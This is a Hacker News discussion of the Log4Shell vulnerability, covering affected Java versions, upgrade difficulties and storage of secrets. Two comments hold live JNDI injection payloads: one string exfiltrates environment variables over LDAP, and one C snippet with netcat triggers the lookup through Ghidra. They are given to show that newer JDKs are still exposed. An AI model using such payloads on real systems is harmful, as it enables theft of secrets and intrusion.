20 ms·
I get that this is a big deal (any remote code execution that is prevalent is a big deal). But one thing that I haven't seen mentioned enough is that this only
by mooreds 5y ago
I get that this is a big deal (any remote code execution that is prevalent is a big deal).
But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java.
From https://www.veracode.com/blog/security-news/urgent-analysis-and-remediation-guidance-log4j-zero-day-rce-cve-2021-44228 https://www.veracode.com/blog/security-news/urgent-analysis-...
JVM version - if lower than:
Java 6 – 6u212 (java6 first released in 2006, this version appears unreleased?)
Java 7 – 7u202 (java7 first released in 2011 this version appears unreleased?)
Java 8 – 8u192 (from 2018)
Java 11 - 11.0.2 (from 2019)
The current version of java is java17. Anything running on 17 or 14 (the last major release) isn't vulnerable.
Now, I get that major version upgrades are a hassle, but I haven't seen anyone address the "hey, you should have upgraded" elephant in the room.
(All java release dates from https://www.java.com/releases/ https://www.java.com/releases/ )
- koboll 5y agoIf this survey is to be believed, as of last year, nearly everyone is using either Java 8 or Java 11, with Java 8 being the overwhelming favorite with almost 60% of respondents reporting using it. https://www.jrebel.com/blog/2020-java-technology-report https://www.jrebel.com/blog/2020-java-technology-report
- mooreds 5y agoFair. There's been some licensing ... well shall we call them mishaps ... in the last couple of years. That I think has kept a lot of folks on older versions of Java. But even if folks are okay on java8 (first released in 2014!) there is a version of java8 that is not vulnerable and it has been around for 3 years.
- deleted 5y ago[deleted]
- layer8 5y agoIt’s not the licensing, it’s the amount of incompatibilities JDK 9 introduced. Also, current JDK versions are still vulnerable: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
- whartung 5y agoPrecisely. JDK 8 -> 11 is not "drag and drop". While that was mostly the up through JDK 8, the JDK 9 changes are a large step that need to be hurdled, and it's easier said than done. Plus if you're working on legacy app servers, you're bound to whatever they are running outside of what you actual application supports. Then add in the whole JaveEE -> JakartaEE transition that was ladled on top of the JDK 8-> 11 transition, and it wasn't just a can of worms, but a kettle of fish and a barrel of monkeys all at once.
- unscaled 5y agoBoth the licensing issues and the upgrade cost are largely myths. Licensing is only an issue if you want to keep using the free Oracle JDK, but there is seriously no need to. JDK upgrades were never drag and drop. When we upgraded Java 6 to Java 8 we had just about the same amount of issues we had when upgrading Java 8 to 11. Some libraries had to be updated. Bloated Application servers like Tomcat and Glassfish (let alone beasts of legend like WebLogic) needed an entirely new major version to cope with that. The misconception that Java 11 is an especially rough upgrade comes from exaggerated worries about modules and perhaps the faster rate of change. 8 years have passed between Java 6 to Java 8, but only 4 years have passed between Java 8 to Java 11.
- bombcar 5y agoUsing Java 8 doesn’t mean you have to use 8_51 or whatever - you can use 8_300+ or whatever the current is.
- brasetvik 5y ago> But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java. Recent versions were still susceptible to e.g. exfiltration of env vars, which may often contain secrets. ${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}
- xorcist 5y agoThis here is the reason why the current obsession with storing everything configuration related, including secrets, in environment variables is a bad idea. This is without even touching on the fact that the environment is propagated to every child process every time.
- exyi 5y agoWhich other place do you suggest for secrets? File access is even more common security bug, also may be accessed by subprocesses and even other processes. Cmdline argument don't propagate to childs, but are accessible. I don't know about any other options that would be reasonably easy to use.
- Too 5y agoStdin and keep in variables only. I know it’s a lot less convenient but if you are looking for security this is one level up. Files in /tmp that your application deletes immediately after read is another.
- scriptdevil 5y agoTBF,files should be fine if we use something like the openbsd unveil mechanic
- yjftsjthsd-h 5y agoOkay, yes, but to date, to a first approximation, nobody does that. And yes, that's unfortunate, but in the world we live in, and the world we will live in for the near future, environment variables seem no worse than any other option, regardless of ways that other options could be made better.
- jefftk 5y ago8 and 11 are LTS releases, and are still supported. 17 is the new LTS, but it's only been out for 2m. See https://endoflife.date/java https://endoflife.date/java
- yjftsjthsd-h 5y agoYeah, a couple years ago I had to decide what version of Java to use in an environment where it needed to run for as long as possible with minimal maintenance, and I found myself in the weird position of intentionally shipping 8 because it had longer support than the newer versions we could have used. It's a weird position, but rational.
- yellow_lead 5y agoI wouldn't agree that these are "pretty old." Maybe in frontend terms of software, but not backend.
- TheGuyWhoCodes 5y ago2-3 years is pretty old. Java backward compatibility is really good, even better when it's on the same major I don't see why you shouldn't update. You have a docker image with java, just pull the base image before you build, you run it bare you/need to update the server packages periodically, better if you have unattended update setup (default in recent ubuntu versions tho might need a server restart for some to apply) It's not like between java updates there aren't any security fixes, there are so you should update. Nevertheless other mitigations like not exposing internal services to the internet would have blocked these attempts.
- justinclift 5y ago> 2-3 years is pretty old. In the JS or NodeJS world, sure. For pretty much everyone else, not so much.
- TheGuyWhoCodes 5y agoI wasn't talkin about a 3rd party library, Java is your runtime platform it has security fixes roll out. If you are an enterprise company that runs 3 year old java version then 1) Your CSO and CIO should all be fired 2) Your security team should be replaced 3) Your ISO 27001 and SOC2 certification among others should be revoked
- raggi 5y agoGlass houses: https://snyk.io/vuln/npm:lodash@4.17.15 https://snyk.io/vuln/npm:lodash@4.17.15 / http://ariagno.com/spotify/ http://ariagno.com/spotify/
- madeofpalk 5y agoUntil two months ago the LTS release of Java - Java 11 - was 2 years old.
- spijdar 5y agoIt's a big deal because most large users of Java aren't actually using the newer versions. It's very hard to source that claim, and I apologize for the lack of hard data, but in my experience with "enterprise Java", it's almost all still Java 11, or even Java 8. Some lame anecdotes: Minecraft ships with a bundled version of Java 8. Most linux distributions still default to Java 11, and you have to explicitly ask for newer JDKs. Some distributions, like Void Linux, still only package Java 11. Many enterprise applications don't even use the system Java environments, and package their own outdated version of Java, sometimes in /opt, sometimes in their installation directory on Windows. (edit: to this point, Minecraft apparently ships with 1.8.0_51 from 2015, and I'm sure I've seen similar with some Java applications at work. I imagine for programs that aren't servers listening on the network, the threat of exploitation seemed lower, and there was less of an (perceived) need to update even the version of Java. If it ain't broke, don't fix it, and all that.) Regardless of the fact people should upgrade to newer Java versions, the reality is (IME) they ... haven't. And so many (very large!) corporations are relying on vulnerable versions of Java, which is why this is such a big deal.
- severino 5y agoThe reason that most distributions only packaged Java 11 until recently is actually very simple: it was the current "LTS" version, which had a longer support window. So companies won't usually jump into Java 12, or 13... because it meant you had 6 months until that release would be considered unsupported. That's why Java 11 has been receiving updates (latest one, 11.0.13, dates from October 2021) while Java 12, for example, got its last release (12.0.2) in 2019. Now that Java 17 (released two months ago) is the new Java LTS version, you could expect most distributions to package it. For example, Ubuntu has been offering Java 17 for a couple of months.
- spijdar 5y agoSure, and it's supported by more software than the newer versions (edit: because this wasn't clear, I mean I think the default JDK will remain 11 for a while, even on distros that package newer), which have been making a fair number of backwards incompatible changes, which seems to have had the effect of discouraging adoption of newer Java versions. I'm not a Java developer, so I don't really have personal experience or frustration with it, but it seems like I read "x was deprecated, then dropped, in versions <x>, <y> of Java" a lot, changes that would require pretty sweeping changes to codebases that relied on the old behavior/features. A lot are still stuck on 8, and aren't even compatible with 11, much less 15 or 17. I think VMWare's vCenter software still uses Java 8 internally...
- radicalbyte 5y agoThe latest LTS version of OpenJDK is 11 (https://adoptopenjdk.net https://adoptopenjdk.net). I certainly don't touch the Oracle version with a barge pole and I assume that a large proportion of the industry also avoid it.
- lars_francke 5y agoFYI: AdoptOpenJDK is now https://adoptium.net/ https://adoptium.net/ and the latest LTS version is 17.
- justinclift 5y agoUgh. That seems like a really, really silly name change. Going from something obvious, to something that has no immediate relationship to java, jdk, or anything related. :/ I guess people will have to learn to remember it over time.
- layer8 5y agoActually, the full name is Eclipse Adoptium Temurin now. O_o
- skissane 5y ago> Ugh. That seems like a really, really silly name change. When they became an Eclipse project, the Eclipse Foundation was concerned that "AdoptOpenJDK" might lead to trademark problems with Oracle, given that "OpenJDK" is an Oracle trademark. Absent explicit permission from Oracle to use a name incorporating "OpenJDK" (which has not been received), Eclipse said the name had to change.
- Cu3PO42 5y agoSome time ago I read a pertinent comment from someone working on JDK here on HN. Unfortunately I can't find it, so I'll have to paraphrase: Even though Adoptium has some big names backing it, they aren't big contributors to Java. This is relevant because it implies they get access to not-yet-publicly-diclosed vulnerabilities and the corresponding patches later than other projects. Rather, one should try to use a distribution by one of the major contributors, for example Red Hat or SAP. Since I cannot currently provide the source and I cannot personally verify this either, take this with a grain of salt.
- smsm42 5y agoI have tons of stuff running on Java 8. It's LTS version and no reason to change working builds, adding more unknowns into the system.
- brabel 5y ago> But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java. Please stop repeating this. The only attack that won't work on newer JVM versions is the one based on the LDAP server returning an ObjectFactory that redirects to a class file based on another remote HTTP server. However, that's absolutely not the only attack vector. LDAP itself has other attacks that are possible, and there are other JNDI integrations that also have different attacks, amongst other things, related to Java serialization (and once you can de-serialize bytes on someone's JVM, you have a smorgasbord of attack vectors to play with). If your log4j version is resolving JNDI strings, you are NOT SAFE regardless of which JVM version you're using.
- hn_throwaway_99 5y agoI wish your comment would get higher visibility. To clarify, the vulnerability would make it possible to post server environment variables to any remote server, regardless of JRE version. That could easily end up being as catastrophic as an RCE.
- ta45674754 5y agoYeah that's a disaster, many applications/pods/docker containers store secrets in the environment. Even if it doesn't expose the service from the outside due to firewalls etc, its a(nother) way in for malicious internal users (which I believe are a large portion of, or the majority of, breaches).
- strenholme 5y agoIndeed. Anything which exposes a program’s environment to other non-root programs which are not sub-processes should be considered a security bug.
- brabel 5y ago> the vulnerability would make it possible to post server environment variables to any remote server, regardless of JRE version. I've been able to achieve RCE as well by still using LDAP, but a different lookup mechanism (if you learn about LDAP, you'll quickly realize there's several ways to do this). RCE does not require remote class loading, that's just the easiest way to achieve it. If your JVM triggered the evaluation of any unsafe jndi string, you should assume an RCE is very likely possible on your environment.
- shawnz 5y agoSimply using a modern JDK does not fully resolve the issue. See here: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
- shepherdjerred 5y agoMy org at AWS just upgraded from Java 8 to Java 11 last year. I doubt anyone is on 17.
- charrondev 5y agoThe thing is it’s not about Java 11, 14, or 17. If you must be on 8 at least use the latest patch versions.
- shepherdjerred 5y agoOh I didn't realize that. That makes patching the issue pretty trivial then, right? Anyone deploying production software should be updating their minor versions anyway.
- MeinBlutIstBlau 5y agoMy team still uses .Net Framework 4.6. That's from like 2015. While not "ancient," it's still pretty old. But for instance, when the SolarWinds hack ocurred, we actually lucked out cause we were using a version of it before the intrusion.
- jeroenhd 5y agoAlthough the Java ecosystem generally moves glacially slow, Java 11 is still supported an has LTS status. Unless you're willing to risk your livelihood on briefly-supported versions, you'll probably want to stick to an LTS release. Java received a new LTS release this year. In the three years between Java 11 and the latest LTS there were six new releases. That's a lot of releases, and you can easily end up with a dependency that doesn't work with a new version of Java yet before the working version goes out of support. Also, the update advice only works for the very specific demo exploit. Other exploits still work, so you'll need to update the library itself.
- mooreds 5y agoCan't edit this, but apparently there are multiple attack vectors and only a few are mitigated by a recent version of java. More here from brabel: https://news.ycombinator.com/item?id=29524578 https://news.ycombinator.com/item?id=29524578 tl;dr: upgrade your version of log4j.
- pojzon 5y agoIt would probably be a shocker to you, but there are still companies operating on cobol. Because the software does what it was supposed to do and does it well. If no functional changes are required, software should be just fine running for decades. Not every company is able to spend on continous development. Often times rewriting something ends up a big cost that never pays for itself.
- fullstop 5y agoopenjdk version "11.0.11" 2021-04-20 (latest in Ubuntu?) __attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}"))) int a = 1; int main(){} compile this with gcc, listen on port 1234 in netcat # gcc main.c -o main # nc -lp 1234 Launch Ghidra, confirm that it is using OpenJDK 11.0.11, and then open the built binary. It absolutely connects to localhost port 1234 and spits out some garbage there. Perhaps it does not have RCE impacts but it does cause the system to do something unintended and could expose IP addresses or other aspects of the running environment.
- heelix 5y agoIf you had the extended support contract, you could get that version of Java 6. I could have sworn 6u212 was the last release before it hit OEL. (been a while) Java 7u321, 8u311, and 11.0.13 are current. 7, 8, 11, and 17 are all LTS releases that get quarterly patches - so the minor upgrades are pretty painless if you happen to be stuck with something older.
- watwut 5y agoJava 11 is not deprecated. It is fairly absurd to frame it as old.
- john37386 5y agoThe log4j patch to fix this vuln is available since March 2021. 9 months later... time to panic.